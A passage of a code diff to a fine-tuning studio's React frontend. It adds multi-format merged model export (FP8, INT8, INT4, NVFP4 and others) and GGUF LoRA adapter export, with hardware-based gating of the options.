@@ -179,6 +182,10 @@ export async function exportLoRA(params: {
   repo_id?: string | null;
   hf_token?: string | null;
   private?: boolean;
+  /** Also convert the adapter to a GGUF LoRA file (llama.cpp `--lora`). */
+  gguf?: boolean;
+  /** GGUF LoRA output float type (f32/f16/bf16/q8_0/auto); only used when gguf=true. */
+  gguf_outtype?: string;
 }): Promise<ExportOperationResponse> {
   const response = await authFetch("/api/export/export/lora", {
     method: "POST",
diff --git a/studio/frontend/src/features/export/components/export-run-panel.tsx b/studio/frontend/src/features/export/components/export-run-panel.tsx
index 9e0edf7303..29ba5a703b 100644
--- a/studio/frontend/src/features/export/components/export-run-panel.tsx
+++ b/studio/frontend/src/features/export/components/export-run-panel.tsx
@@ -28,7 +28,11 @@ import {
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useEffect, useRef, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
-import { EXPORT_METHODS, type ExportMethod } from "../constants";
+import {
+  EXPORT_METHODS,
+  type ExportMethod,
+  findMergedFormat,
+} from "../constants";
 import type { ExportLogEntry } from "../api/export-api";
 import { getExportLogLineClass } from "../lib/log-style";
 import {
@@ -200,6 +204,9 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
   const summaryMethodLabel = summary?.methodLabel ?? methodTitle;
   const summaryQuants = summary?.quantLevels ?? quantLevels;
   const summaryMethod = summary?.method ?? exportMethod;
+  const summaryFormats = (summary?.mergedFormats ?? []).map(
+    (v) => findMergedFormat(v)?.label ?? v,
+  );
   const showProgress = isExporting || isTerminal;
 
   return (
@@ -392,14 +399,32 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
                 ? "Export finished and pushed to Hugging Face Hub."
                 : "Export finished successfully."}
             </span>
-            {run.result?.outputPath ? (
-              <code
-                className="select-all break-all font-mono text-[12px] text-foreground/90"
-                title={run.result.outputPath}
-              >
-                {run.result.outputPath}
-              </code>
-            ) : null}
+            {(() => {
+              // List every folder written; a multi-format merged run created one per format.
+              const paths = run.result?.outputPaths ?? [];
+              const items =
+                paths.length > 0
+                  ? paths
+                  : run.result?.outputPath
+                    ? [{ label: "", path: run.result.outputPath }]
+                    : [];
+              const showLabels = items.length > 1;
+              return items.map((o, i) => (
+                <div key={`${o.path}-${i}`} className="flex min-w-0 flex-col gap-0.5">
+                  {showLabels && o.label ? (
+                    <span className="text-xs text-emerald-700/80 dark:text-emerald-300/80">
+                      {o.label}
+                    </span>
+                  ) : null}
+                  <code
+                    className="select-all break-all font-mono text-[12px] text-foreground/90"
+                    title={o.path}
+                  >
+                    {o.path}
+                  </code>
+                </div>
+              ));
+            })()}
           </div>
         </div>
       )}
@@ -432,6 +457,14 @@ export function ExportRunPanel(props: ExportRunPanelProps) {
           <span>Export Method</span>
           <span className="font-medium text-foreground">{summaryMethodLabel}</span>
         </div>
+        {summaryMethod === "merged" && summaryFormats.length > 0 && (
+          <div className="flex justify-between gap-3">
+            <span>Formats</span>
+            <span className="font-medium text-foreground text-right">
+              {summaryFormats.join(", ")}
+            </span>
+          </div>
+        )}
         {summaryMethod === "gguf" && summaryQuants.length > 0 && (
           <div className="flex justify-between">
             <span>Quantizations</span>
diff --git a/studio/frontend/src/features/export/constants.ts b/studio/frontend/src/features/export/constants.ts
index 058de1edc4..be9080ba14 100644
--- a/studio/frontend/src/features/export/constants.ts
+++ b/studio/frontend/src/features/export/constants.ts
@@ -55,34 +55,172 @@ export const QUANT_OPTIONS: {
   { value: "f16", label: "F16" },
 ];
 
-/** Merged-export precision formats. The compressed-tensors ones run llm-compressor for vLLM. */
-export type MergedFormat =
-  | "16-bit (FP16)"
-  | "FP8 (compressed-tensors)"
-  | "NVFP4 (compressed-tensors)";
+/**
+ * Merged-export precision formats, sorted by bit width. Three backends:
+ *   - "plain":      standard save (16-bit); `formatType` is the backend `format_type`.
+ *   - "compressed": llm-compressor compressed-tensors (vLLM), NVIDIA-only; `value` is the alias.
+ *   - "torchao":    portable FP8/INT8, no NVIDIA GPU needed; `value` is the alias.
+ * `common` entries are quick pills, the rest the "More formats" dropdown; `needsNvidia` entries
+ * are hidden on non-NVIDIA hardware.
+ */
+export type MergedBackend = "plain" | "compressed" | "torchao";
 
-export const MERGED_FORMATS: {
-  value: MergedFormat;
+export type MergedFormatOption = {
+  value: string;
   label: string;
+  bits: number;
+  backend: MergedBackend;
+  group: string;
+  common: boolean;
+  needsNvidia: boolean;
+  needsCalibration?: boolean;
   hint: string;
-}[] = [
+  /** Backend `format_type` for a "plain" save (unused for compressed/torchao). */
+  formatType?: string;
+};
+
+/** Kept as a string alias for back-compat with callers that typed the old union. */
+export type MergedFormat = string;
+
+export const MERGED_FORMATS: MergedFormatOption[] = [
+  // 16-bit
   {
-    value: "16-bit (FP16)",
+    value: "16-bit",
     label: "16-bit",
+    bits: 16,
+    backend: "plain",
+    group: "16-bit",
+    common: true,
+    needsNvidia: false,
     hint: "Full precision, runs anywhere.",
+    formatType: "16-bit (FP16)",
+  },
+  // 8-bit
+  {
+    value: "fp8",
+    label: "FP8",
+    bits: 8,
+    backend: "compressed",
+    group: "FP8",
+    common: true,
+    needsNvidia: true,
+    hint: "Dynamic per-token FP8 (W8A8) for vLLM. Data-free.",
   },
   {
-    value: "FP8 (compressed-tensors)",
-    label: "FP8 (vLLM)",
-    hint: "compressed-tensors FP8 for vLLM. Needs an NVIDIA GPU.",
+    value: "torchao_fp8",
+    label: "FP8 (portable)",
+    bits: 8,
+    backend: "torchao",
+    group: "Portable",
+    common: true,
+    needsNvidia: false,
+    hint: "Device-agnostic FP8 (torchao). Produces on any hardware; loads in vLLM.",
   },
   {
-    value: "NVFP4 (compressed-tensors)",
-    label: "NVFP4 (vLLM)",
-    hint: "compressed-tensors NVFP4 for vLLM. Needs an NVIDIA GPU; calibrates.",
+    value: "w8a8",
+    label: "INT8 (W8A8)",
+    bits: 8,
+    backend: "compressed",
+    group: "INT",
+    common: true,
+    needsNvidia: true,
+    hint: "8-bit weights and 8-bit activations for vLLM. Data-free.",
+  },
+  {
+    value: "torchao_int8",
+    label: "INT8 (portable)",
+    bits: 8,
+    backend: "torchao",
+    group: "Portable",
+    common: true,
+    needsNvidia: false,
+    hint: "Device-agnostic INT8 (torchao). Produces on any hardware; loads in vLLM.",
+  },
+  {
+    value: "fp8_static",
+    label: "FP8 Static",
+    bits: 8,
+    backend: "compressed",
+    group: "FP8",
+    common: false,
+    needsNvidia: true,
+    needsCalibration: true,
+    hint: "Static per-tensor FP8. Calibrates on data.",
+  },
+  {
+    value: "w8a16",
+    label: "INT8 (W8A16)",
+    bits: 8,
+    backend: "compressed",
+    group: "INT",
+    common: false,
+    needsNvidia: true,
+    hint: "8-bit weight-only. Data-free.",
+  },
+  {
+    value: "mxfp8",
+    label: "MXFP8",
+    bits: 8,
+    backend: "compressed",
+    group: "MXFP",
+    common: false,
+    needsNvidia: true,
+    hint: "Microscaling FP8. Needs a newer compressed-tensors stack.",
+  },
+  // 4-bit
+  {
+    value: "w4a16",
+    label: "INT4 (W4A16)",
+    bits: 4,
+    backend: "compressed",
+    group: "INT",
+    common: true,
+    needsNvidia: true,
+    hint: "4-bit weight-only (GPTQ-style) for vLLM. Data-free.",
+  },
+  {
+    value: "mxfp4",
+    label: "MXFP4",
+    bits: 4,
+    backend: "compressed",
+    group: "MXFP",
+    common: true,
+    needsNvidia: true,
+    hint: "Microscaling FP4 (W4A4) for vLLM. Data-free.",
+  },
+  {
+    value: "nvfp4",
+    label: "NVFP4",
+    bits: 4,
+    backend: "compressed",
+    group: "FP4",
+    common: true,
+    needsNvidia: true,
+    needsCalibration: true,
+    hint: "NVIDIA FP4 (W4A4) for vLLM. Calibrates on data.",
   },
 ];
 
+/** Look up a merged format option by its stable value. */
+export function findMergedFormat(value: string): MergedFormatOption | undefined {
+  return MERGED_FORMATS.find((f) => f.value === value);
+}
+
+/** Backend payload for one merged format: plain -> formatType, compressed/torchao -> the alias. */
+export function mergedFormatPayload(value: string): {
+  formatType: string;
+  compressedMethod: string | null;
+} {
+  const opt = findMergedFormat(value);
+  if (!opt || opt.backend === "plain") {
+    return {
+      formatType: opt?.formatType ?? "16-bit (FP16)",
+      compressedMethod: null,
+    };
+  }
+  return { formatType: "16-bit (FP16)", compressedMethod: opt.value };
+}
+
 /**
  * llama.cpp effective bits-per-weight per quant; GGUF size ~= fp16_bytes * bpw / 16.
  * K-quant values are published average bit-rates (Q2_K_L = Unsloth Q2_K + Q8_0
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 7b5c6ec6d4..07606a26ed 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -24,6 +24,19 @@ import {
   SelectTrigger,
   SelectValue,
 } from "@/components/ui/select";
+import {
+  DropdownMenu,
+  DropdownMenuCheckboxItem,
+  DropdownMenuContent,
+  DropdownMenuLabel,
+  DropdownMenuSeparator,
+  DropdownMenuTrigger,
+} from "@/components/ui/dropdown-menu";
+import {
+  Alert,
+  AlertDescription,
+  AlertTitle,
+} from "@/components/ui/alert";
 import { Separator } from "@/components/ui/separator";
 import { Spinner } from "@/components/ui/spinner";
 import { Tabs, TabsList, TabsTrigger } from "@/components/ui/tabs";
@@ -63,11 +76,14 @@ import {
   type ExportMethod,
   GUIDE_STEPS,
   MERGED_FORMATS,
-  type MergedFormat,
+  type MergedFormatOption,
+  mergedFormatPayload,
   QUANT_OPTIONS,
   buildQuantSizeLabels,
   getEstimatedSize,
 } from "./constants";
+import { useHardwareInfo } from "@/hooks/use-hardware-info";
+import { usePlatformStore } from "@/config/env";
 import {
   isExportPanelActive,
   useExportRuntimeStore,
@@ -78,6 +94,10 @@ import { exportTourSteps } from "./tour";
 
 const SEARCH_INPUT_REASONS = new Set(["input-change", "input-paste", "input-clear"]);
 
+// GGUF LoRA output float types (Q8_0 first / default). Q8_0 falls back to F16 per tensor for dims
+// not divisible by the block size (32); no "auto" - the choice is explicit.
+const LORA_GGUF_OUTTYPES = ["q8_0", "f16", "bf16", "f32"] as const;
+
 type SourceTab = "local" | "checkpoint" | "hf";
 type SourceMode = "checkpoint" | "model";
 
@@ -109,7 +129,16 @@ function buildRelativeSaveDirectory(
         : sourceBaseModelName;
     return `${safePathSegment(rawName)}-GGUF`;
   }
-  return `${selectedModelIdx ?? "model"}/${checkpoint}`;
+  // Merged / LoRA: a checkpoint keeps the "<run>/<checkpoint>" layout under outputs.
+  if (sourceMode === "checkpoint" && selectedModelIdx && checkpoint) {
+    return `${selectedModelIdx}/${checkpoint}`;
+  }
+  // Local / HF source (no checkpoint): name from the model id to avoid "model/null".
+  const rawName =
+    sourceMode === "checkpoint"
+      ? checkpoint ?? selectedModelIdx ?? sourceBaseModelName
+      : sourceBaseModelName;
+  return `${safePathSegment(rawName)}-${exportMethod === "lora" ? "adapter" : "merged"}`;
 }
 
 function siblingGgufDirectory(sourcePath: string): string | null {
@@ -177,9 +206,57 @@ export function ExportPage() {
   });
   // GGUF importance matrix (required for the IQ quants) and merged-export precision.
   const [useImatrix, setUseImatrix] = useState(false);
-  const [mergedFormat, setMergedFormat] = useState<MergedFormat>("16-bit (FP16)");
-  // IQ quants are imatrix-only, so force it on when one is selected; otherwise we would submit
-  // an IQ quant with no imatrix and llama.cpp would reject it.
+  // Merged precision: one or more MERGED_FORMATS values, exported in one run. Seed from a live run
+  // so navigating away and back (which remounts this page) keeps the selection, like exportMethod.
+  const [selectedFormats, setSelectedFormats] = useState<string[]>(() => {
+    const s = useExportRuntimeStore.getState();
+    return isExportPanelActive(s) &&
+      s.summary?.method === "merged" &&
+      s.summary.mergedFormats.length > 0
+      ? s.summary.mergedFormats
+      : ["16-bit"];
+  });
+  // LoRA-only export: optionally also emit a GGUF LoRA adapter, and its output float type.
+  const [loraAsGguf, setLoraAsGguf] = useState(false);
+  const [loraGgufOuttype, setLoraGgufOuttype] = useState<string>("q8_0");
+  // GGUF method: export the full model as GGUF quants, or (for an adapter checkpoint) a GGUF LoRA.
+  const [ggufTarget, setGgufTarget] = useState<"model" | "lora">("model");
+
+  const hardware = useHardwareInfo();
+  // GGUF LoRA conversion is rejected on the macOS / MLX path, so gate it out on a Mac host.
+  const isMacHost = usePlatformStore((s) => s.deviceType) === "mac";
+  // Real CUDA (not ROCm); gates the NVIDIA-only compressed-tensors formats.
+  const hasNvidia = hardware.cuda != null && hardware.rocm == null;
+  // Only gray out on an authoritative unsupported response; while unloaded the backend route guard
+  // stays authoritative. The backend supplies the precise reason; the fallback below is a backstop.
+  const exportUnsupported =
+    hardware.loaded && hardware.exportSupported === false;
+  const exportUnsupportedMessage =
+    hardware.exportUnsupportedMessage ??
+    "Export requires a supported accelerator (NVIDIA, AMD, or Intel GPU, or Apple Silicon) with PyTorch or MLX installed.";
+  const availableFormats = useMemo<MergedFormatOption[]>(
+    () =>
+      MERGED_FORMATS.filter((f) => {
+        // compressed-tensors (llm-compressor) is the NVIDIA path; shown only on an NVIDIA GPU.
+        if (f.backend === "compressed") return hasNvidia;
+        // Portable torchao is the fallback for hosts without the NVIDIA compressed path, i.e. a
+        // CPU / non-NVIDIA box. Hidden on NVIDIA (use compressed-tensors) and on macOS/MLX (the
+        // backend rejects quantized export there).
+        if (f.backend === "torchao") return !hasNvidia && !isMacHost;
+        // Plain 16-bit is available everywhere.
+        return true;
+      }),
+    [hasNvidia, isMacHost],
+  );
+  const toggleFormat = useCallback((value: string) => {
+    setSelectedFormats((prev) =>
+      prev.includes(value)
+        ? prev.filter((v) => v !== value)
+        : [...prev, value],
+    );
+  }, []);
+  // availableFormats already drops NVIDIA-only formats on other hardware, so no pruning needed.
+  // IQ quants are imatrix-only: force imatrix on when one is selected, else llama.cpp rejects it.
   const requiresImatrix = quantLevels.some(
     (q) => QUANT_OPTIONS.find((o) => o.value === q)?.imatrix,
   );
@@ -304,6 +381,11 @@ export function ExportPage() {
   const baseModelName = selectedModelData?.base_model ?? "—";
   const isAdapter = !!selectedModelData?.peft_type;
   const isQuantized = !!selectedModelData?.is_quantized;
+  // isAdapter / isQuantized come from the checkpoint's metadata and are stale in "model" source
+  // mode (a direct base export), so treat both as false outside checkpoint mode to avoid wrongly
+  // gating the methods.
+  const effectiveIsAdapter = sourceMode === "checkpoint" && isAdapter;
+  const effectiveIsQuantized = sourceMode === "checkpoint" && isQuantized;
   const loraRank = selectedModelData?.lora_rank ?? null;
   const trainingMethodLabel = selectedModelData?.peft_type
     ? "LoRA / QLoRA"
@@ -416,25 +498,30 @@ export function ExportPage() {
     setCheckpoint(null);
   }, [selectedModelIdx]);
 
-  // For a ?run= deep link, default to the run's main checkpoint. Declared after
-  // the reset effect above so it runs last and isn't clobbered back to null.
+  // Default to the newest checkpoint when none is chosen (checkpoints are sorted newest-first).
+  // Declared after the reset effect above so it runs last and isn't clobbered back to null. Covers
+  // both a ?run= deep link and a plain finetune opened without an explicit checkpoint pick.
   useEffect(() => {
-    if (appliedRunRef.current == null) return;
-    if (appliedRunRef.current !== selectedModelIdx) return;
+    if (sourceMode !== "checkpoint") return;
     if (checkpoint != null || checkpointsForModel.length === 0) return;
     setCheckpoint(checkpointsForModel[0].display_name);
-  }, [selectedModelIdx, checkpoint, checkpointsForModel]);
+  }, [sourceMode, selectedModelIdx, checkpoint, checkpointsForModel]);
 
   // Auto-reset export method if incompatible with the selected model type
   useEffect(() => {
-    if (!isAdapter && (exportMethod === "merged" || exportMethod === "lora")) {
+    // Only LoRA needs a real adapter; Merged and GGUF work for non-PEFT base models too.
+    if (!effectiveIsAdapter && exportMethod === "lora") {
       setExportMethod(null);
     }
     // Quantized non-PEFT models can't export to any format
-    if (!isAdapter && isQuantized && exportMethod !== null) {
+    if (!effectiveIsAdapter && effectiveIsQuantized && exportMethod !== null) {
       setExportMethod(null);
     }
-  }, [isAdapter, isQuantized, exportMethod]);
+    // The GGUF LoRA target only applies to an adapter checkpoint on a non-Mac host.
+    if ((!effectiveIsAdapter || isMacHost) && ggufTarget !== "model") {
+      setGgufTarget("model");
+    }
+  }, [effectiveIsAdapter, effectiveIsQuantized, exportMethod, isMacHost, ggufTarget]);
 
   const handleSourceTabChange = useCallback((next: string) => {
     if (next === "checkpoint") {
@@ -442,7 +529,7 @@ export function ExportPage() {
     } else if (next === "hf" || next === "local") {
       setSourceMode("model");
       setModelSource(next);
-      setExportMethod("gguf");
+      // Don't force GGUF: Local / HF sources can export Merged too; a stale LoRA pick auto-resets.
     } else {
       return;
     }
@@ -508,10 +595,26 @@ export function ExportPage() {
     sourceMode,
   ]);
   const saveDirectory = customSaveDirectory?.trim() || defaultSaveDirectory;
+  // Each merged format uploads a full model to the repo root, so several to one repo would collide.
+  // GGUF method exporting an adapter checkpoint as a GGUF LoRA (vs full-model quants). Reuses the
+  // LoRA-adapter export path; no quant list needed.
+  const ggufAsLora =
+    exportMethod === "gguf" &&
+    ggufTarget === "lora" &&
+    effectiveIsAdapter &&
+    !isMacHost;
+
+  // Restrict a Hub merged export to a single format; multi-format stays available for local export.
+  const hubMultiFormat =
+    destination === "hub" && exportMethod === "merged" && selectedFormats.length > 1;
+
   const canExport = !!(
     selectedExportSource &&
     exportMethod &&
-    (exportMethod !== "gguf" || quantLevels.length > 0)
+    !exportUnsupported &&
+    !hubMultiFormat &&
+    (exportMethod !== "gguf" || ggufAsLora || quantLevels.length > 0) &&
+    (exportMethod !== "merged" || selectedFormats.length > 0)
   );
 
   const applyHfSourceModel = useCallback((value: string) => {
@@ -576,9 +679,14 @@ export function ExportPage() {
   const handleStart = useCallback(async () => {
     const source = sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
     if (!source || !exportMethod) return;
-    // A GGUF export with no quant selected runs zero exports yet would still
-    // settle as success with no file; require at least one (mirrors canExport).
-    if (exportMethod === "gguf" && quantLevels.length === 0) return;
+    // No supported accelerator (or PyTorch/MLX missing): the backend would reject anyway; don't submit.
+    if (exportUnsupported) return;
+    // GGUF with no quant, or merged with no format, would run an unintended/empty export; require
+    // at least one (mirrors canExport, in case the panel's Start button bypasses the outer one).
+    if (exportMethod === "gguf" && !ggufAsLora && quantLevels.length === 0) return;
+    if (exportMethod === "merged" && selectedFormats.length === 0) return;
+    // A Hub merged push writes each format to the repo root; several would collide (mirrors canExport).
+    if (hubMultiFormat) return;
 
     const selectedCp = sourceMode === "checkpoint"
       ? checkpointsForModel.find((cp) => cp.display_name === checkpoint)
@@ -591,8 +699,13 @@ export function ExportPage() {
       ? `${hfUsername}/${modelName}`
       : undefined;
     const token = pushToHub && hfToken ? hfToken : undefined;
-    const methodLabel =
-      EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod;
+    // The GGUF method with the LoRA target reuses the LoRA-adapter export path.
+    const effectiveMethod: ExportMethod = ggufAsLora ? "lora" : exportMethod;
+    const emitLoraGguf =
+      ggufAsLora || (effectiveMethod === "lora" && loraAsGguf && !isMacHost);
+    const methodLabel = ggufAsLora
+      ? "GGUF LoRA adapter"
+      : (EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod);
     const adapterExport = sourceMode === "checkpoint" && isAdapter;
 
     // Consent gate for an HF source's custom (auto_map) code, run before we hand
@@ -624,11 +737,16 @@ export function ExportPage() {
       trustRemoteCode,
       approvedRemoteCodeFingerprint,
       loadToken: hfToken || null,
-      exportMethod,
+      exportMethod: effectiveMethod,
       isAdapter: adapterExport,
       quantLevels,
       useImatrix: effectiveImatrix,
-      mergedFormat,
+      mergedSelections: selectedFormats.map((v) => ({
+        ...mergedFormatPayload(v),
+        label: MERGED_FORMATS.find((f) => f.value === v)?.label ?? v,
+      })),
+      loraGguf: emitLoraGguf,
+      loraGgufOuttype,
       saveDirectory,
       destination,
       repoId,
@@ -639,8 +757,9 @@ export function ExportPage() {
         baseModelName: sourceBaseModelName,
         checkpointLabel: selectedExportSource,
         methodLabel,
-        method: exportMethod,
+        method: effectiveMethod,
         quantLevels,
+        mergedFormats: exportMethod === "merged" ? selectedFormats : [],
         destination,
       },
     });
@@ -656,7 +775,13 @@ export function ExportPage() {
     isAdapter,
     quantLevels,
     effectiveImatrix,
-    mergedFormat,
+    selectedFormats,
+    hubMultiFormat,
+    ggufAsLora,
+    loraAsGguf,
+    isMacHost,
+    loraGgufOuttype,
+    exportUnsupported,
     destination,
     saveDirectory,
     hfUsername,
@@ -1163,75 +1288,303 @@ export function ExportPage() {
                 </div>
               </div>
 
+              {exportUnsupported && (
+                <Alert variant="destructive">
+                  <HugeiconsIcon icon={AlertCircleIcon} className="size-4" />
+                  <AlertTitle>Export unavailable</AlertTitle>
+                  <AlertDescription>{exportUnsupportedMessage}</AlertDescription>
+                </Alert>
+              )}
+
               <MethodPicker
                 value={exportMethod}
                 onChange={handleMethodChange}
                 disabledMethods={
-                  !isAdapter && isQuantized
+                  exportUnsupported
                     ? ["merged", "lora", "gguf"]
-                    : !isAdapter || sourceMode === "model"
-                      ? ["merged", "lora"]
-                      : []
+                    : !effectiveIsAdapter && effectiveIsQuantized
+                      ? ["merged", "lora", "gguf"]
+                      : !effectiveIsAdapter
+                        ? ["lora"]
+                        : []
                 }
                 disabledReason={
-                  !isAdapter && isQuantized
-                    ? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
-                    : sourceMode === "model"
-                      ? "Only GGUF export is available for direct model export"
-                      : !isAdapter
-                        ? "Not available for full fine-tune checkpoints (no LoRA adapters)"
+                  exportUnsupported
+                    ? exportUnsupportedMessage
+                    : !effectiveIsAdapter && effectiveIsQuantized
+                      ? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
+                      : !effectiveIsAdapter
+                        ? "LoRA-only export needs a LoRA adapter checkpoint"
                         : undefined
                 }
               />
 
-              {exportMethod === "merged" && isAdapter && (
-                <div className="space-y-2">
-                  <div className="text-sm font-medium">Precision</div>
-                  <div className="flex flex-wrap gap-2">
-                    {MERGED_FORMATS.map((f) => (
-                      <Button
-                        key={f.value}
-                        type="button"
-                        variant={mergedFormat === f.value ? "default" : "outline"}
-                        size="sm"
-                        onClick={() => setMergedFormat(f.value)}
-                        title={f.hint}
-                      >
-                        {f.label}
-                      </Button>
-                    ))}
-                  </div>
-                  <div className="text-xs text-muted-foreground">
-                    {MERGED_FORMATS.find((f) => f.value === mergedFormat)?.hint}
+              {exportMethod === "merged" && !exportUnsupported && (
+                <div className="space-y-3">
+                  <div className="space-y-2">
+                    <div className="flex items-center justify-between">
+                      <div className="text-sm font-medium">Precision</div>
+                      <span className="text-[11px] text-muted-foreground/70">
+                        — select one or more
+                      </span>
+                    </div>
+                    <div className="flex flex-wrap gap-2">
+                      {availableFormats
+                        .filter((f) => f.common)
+                        .map((f) => {
+                          const active = selectedFormats.includes(f.value);
+                          return (
+                            <Button
+                              key={f.value}
+                              type="button"
+                              variant={active ? "default" : "outline"}
+                              size="sm"
+                              onClick={() => toggleFormat(f.value)}
+                              title={f.hint}
+                            >
+                              {f.label}
+                              {f.needsCalibration ? " *" : ""}
+                            </Button>
+                          );
+                        })}
+
+                      {availableFormats.some((f) => !f.common) && (
+                        <DropdownMenu>
+                          <DropdownMenuTrigger asChild={true}>
+                            <Button type="button" variant="outline" size="sm">
+                              More formats
+                              {selectedFormats.some((v) =>
+                                availableFormats.find(
+                                  (f) => f.value === v && !f.common,
+                                ),
+                              )
+                                ? " ✓"
+                                : "…"}
+                            </Button>
+                          </DropdownMenuTrigger>
+                          <DropdownMenuContent align="start" className="w-64">
+                            <DropdownMenuLabel>
+                              Additional formats
+                            </DropdownMenuLabel>
+                            <DropdownMenuSeparator />
+                            {availableFormats
+                              .filter((f) => !f.common)
+                              .map((f) => (
+                                <DropdownMenuCheckboxItem
+                                  key={f.value}
+                                  checked={selectedFormats.includes(f.value)}
+                                  onCheckedChange={() => toggleFormat(f.value)}
+                                  onSelect={(e) => e.preventDefault()}
+                                >
+                                  <span className="flex flex-col">
+                                    <span>
+                                      {f.label}
+                                      {f.needsCalibration ? " *" : ""}
+                                    </span>
+                                    <span className="text-[10px] text-muted-foreground">
+                                      {f.hint}
+                                    </span>
+                                  </span>
+                                </DropdownMenuCheckboxItem>
+                              ))}
+                          </DropdownMenuContent>
+                        </DropdownMenu>
+                      )}
+                    </div>
+
+                    {selectedFormats.length > 0 && (
+                      <div className="flex flex-wrap items-center gap-x-3 gap-y-1">
+                        <span className="text-[11px] text-muted-foreground">
+                          {selectedFormats.length} selected:{" "}
+                          {selectedFormats
+                            .map(
+                              (v) =>
+                                MERGED_FORMATS.find((f) => f.value === v)
+                                  ?.label ?? v,
+                            )
+                            .join(", ")}
+                        </span>
+                        {selectedFormats.length > 1 && (
+                          <button
+                            type="button"
+                            onClick={() => setSelectedFormats(["16-bit"])}
+                            className="text-[11px] text-muted-foreground/70 hover:text-foreground transition-colors"
+                          >
+                            Reset to 16-bit
+                          </button>
+                        )}
+                      </div>
+                    )}
+
+                    {hubMultiFormat && (
+                      <div className="text-[11px] text-amber-600 dark:text-amber-500">
+                        Hub export supports one format at a time (each writes to
+                        the repository root). Select a single format, or export
+                        locally to produce several at once.
+                      </div>
+                    )}
+
+                    {selectedFormats.some(
+                      (v) =>
+                        MERGED_FORMATS.find((f) => f.value === v)
+                          ?.needsCalibration,
+                    ) && (
+                      <div className="text-[11px] text-muted-foreground">
+                        * calibrates on data (uses a small calibration set).
+                      </div>
+                    )}
+
+                    {!hasNvidia && (
+                      <div className="text-[11px] text-muted-foreground">
+                        No NVIDIA GPU detected: compressed-tensors formats are
+                        hidden. 16-bit and portable FP8/INT8 (torchao) still
+                        work here and load in vLLM.
+                      </div>
+                    )}
                   </div>
                 </div>
               )}
 
-              {exportMethod === "gguf" && (
-                <>
-                  <QuantPicker
-                    value={quantLevels}
-                    onChange={setQuantLevels}
-                    sizes={quantSizeLabels}
-                  />
-                  <div className="flex items-center justify-between gap-3 rounded-lg border p-3">
-                    <div className="space-y-0.5">
-                      <div className="text-sm font-medium">
-                        Importance matrix (imatrix)
+              {exportMethod === "lora" && effectiveIsAdapter && !exportUnsupported && (
+                <div className="space-y-3">
+                  <div className="space-y-2">
+                    <div className="text-sm font-medium">Adapter format</div>
+                    <div className="flex flex-wrap gap-2">
+                      <Button
+                        type="button"
+                        variant={!loraAsGguf ? "default" : "outline"}
+                        size="sm"
+                        onClick={() => setLoraAsGguf(false)}
+                        title="Standard PEFT adapter (adapter_model.safetensors)."
+                      >
+                        Adapter (safetensors)
+                      </Button>
+                      <Button
+                        type="button"
+                        variant={loraAsGguf ? "default" : "outline"}
+                        size="sm"
+                        disabled={isMacHost}
+                        onClick={() => setLoraAsGguf(true)}
+                        title={
+                          isMacHost
+                            ? "GGUF LoRA export is not available on macOS/MLX. Use the safetensors adapter."
+                            : "llama.cpp GGUF LoRA, loadable with `llama-cli --lora`."
+                        }
+                      >
+                        GGUF adapter
+                      </Button>
+                    </div>
+                    <div className="text-xs text-muted-foreground">
+                      {isMacHost
+                        ? "GGUF LoRA is not available on macOS/MLX; exporting the safetensors adapter."
+                        : loraAsGguf
+                          ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
+                          : "Standard PEFT adapter files. Pair with the base model at inference."}
+                    </div>
+                  </div>
+
+                  {loraAsGguf && (
+                    <div className="space-y-1.5">
+                      <div className="text-sm font-medium">Output type</div>
+                      <Select
+                        value={loraGgufOuttype}
+                        onValueChange={(v) => setLoraGgufOuttype(v)}
+                      >
+                        <SelectTrigger className="w-full sm:w-56">
+                          <SelectValue />
+                        </SelectTrigger>
+                        <SelectContent>
+                          {LORA_GGUF_OUTTYPES.map((t) => (
+                            <SelectItem key={t} value={t}>
+                              {t.toUpperCase()}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                    </div>
+                  )}
+                </div>
+              )}
+
+              {exportMethod === "gguf" && !exportUnsupported && (
+                <div className="space-y-3">
+                  {effectiveIsAdapter && !isMacHost && (
+                    <div className="space-y-2">
+                      <div className="text-sm font-medium">Export target</div>
+                      <div className="flex flex-wrap gap-2">
+                        <Button
+                          type="button"
+                          variant={ggufTarget === "model" ? "default" : "outline"}
+                          size="sm"
+                          onClick={() => setGgufTarget("model")}
+                          title="Merge the adapter into the base model, then quantize the full model to GGUF."
+                        >
+                          Full model
+                        </Button>
+                        <Button
+                          type="button"
+                          variant={ggufTarget === "lora" ? "default" : "outline"}
+                          size="sm"
+                          onClick={() => setGgufTarget("lora")}
+                          title="Export just the adapter as a GGUF LoRA (llama.cpp `--lora`); the base model stays separate."
+                        >
+                          LoRA adapter
+                        </Button>
                       </div>
                       <div className="text-xs text-muted-foreground">
-                        {requiresImatrix
-                          ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model."
-                          : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."}
+                        {ggufTarget === "lora"
+                          ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
+                          : "Merges the adapter into the base model, then quantizes the full model to GGUF."}
                       </div>
                     </div>
-                    <Switch
-                      checked={effectiveImatrix}
-                      onCheckedChange={setUseImatrix}
-                      disabled={requiresImatrix}
-                    />
-                  </div>
-                </>
+                  )}
+
+                  {ggufAsLora ? (
+                    <div className="space-y-1.5">
+                      <div className="text-sm font-medium">Output type</div>
+                      <Select
+                        value={loraGgufOuttype}
+                        onValueChange={(v) => setLoraGgufOuttype(v)}
+                      >
+                        <SelectTrigger className="w-full sm:w-56">
+                          <SelectValue />
+                        </SelectTrigger>
+                        <SelectContent>
+                          {LORA_GGUF_OUTTYPES.map((t) => (
+                            <SelectItem key={t} value={t}>
+                              {t.toUpperCase()}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
